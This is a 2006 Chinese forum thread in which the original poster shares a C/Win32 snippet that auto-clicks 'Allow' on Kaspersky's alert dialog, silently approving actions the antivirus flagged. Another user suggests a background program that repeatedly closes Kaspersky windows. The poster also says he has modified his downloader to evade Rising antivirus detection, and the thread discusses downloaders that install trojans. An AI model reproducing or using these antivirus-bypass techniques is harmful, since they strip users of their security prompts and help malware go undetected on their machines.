发一个垃圾绕过avp的方法,不知道真的假的,反正有人用,呵呵
dwing吧
全部回复
仅看楼主
level 2
linestyle 楼主
HWND hWnd = FindWindowEx(0, 0, "AVP.AlertDialog", NULL);if(hWnd){hWnd = FindWindowEx(hWnd, 0, "AVP.Button", "允许");SendMessage(hWnd, 0xF5, 0, 0);}
2006年08月29日 03点08分 1
level 13
卡巴的窗口类名还真是符合规范啊...
2006年08月29日 03点08分 2
level 2
linestyle 楼主
无意中发现的,不知道能不能用:)估计只能针对特定版本的avp,呵呵
2006年08月29日 09点08分 3
level 13
像这种绕卡巴方法太"无赖"了.卡巴不防这种小人.我写一后台程序,每0.1秒查找并关闭标题含有"Kaspersky"字串的窗口,轻松绕卡巴.
2006年08月29日 09点08分 4
level 2
linestyle 楼主
不错,这种技术我也感觉很实用,而且卡巴不会总换窗口类名,呵呵但是这种降低用户机器效率的事,我是不会干的:)昨天瑞星大开杀界,杀我的downloader了瑞星现在估计有好多加病毒的人员,呵呵我的代码修改完了,估计这回又能清净一段时间了:)
2006年09月01日 08点09分 5
level 13
我发现现在许多含downloader的流氓软件也下载木马了.难道那些流氓软件被修改过?瑞星的虚拟机脱壳正式使用了没有?效果怎样?
2006年09月01日 09点09分 6
level 2
linestyle 楼主
贴吧太牛了白打了那么多,刚刚发的帖子就被删了,汗!
2006年09月01日 10点09分 8
level 2
linestyle 楼主
downloader多数都是被别人修改过了,所以才会下载木马:)瑞星的虚拟机还不错,一直没有时间研究呢效果还好杀流氓软件还可以,对付病毒估计没有啥用!:)
2006年09月01日 10点09分 9
level 13
好像百度总是删长贴,所以贴长贴时要保存一份,如果3天内没被删就可以放心了.
2006年09月01日 14点09分 10
level 2
linestyle 楼主
汗啊!:(
2006年09月04日 01点09分 11
level 0
qqq
2006年09月27日 07点09分 12
1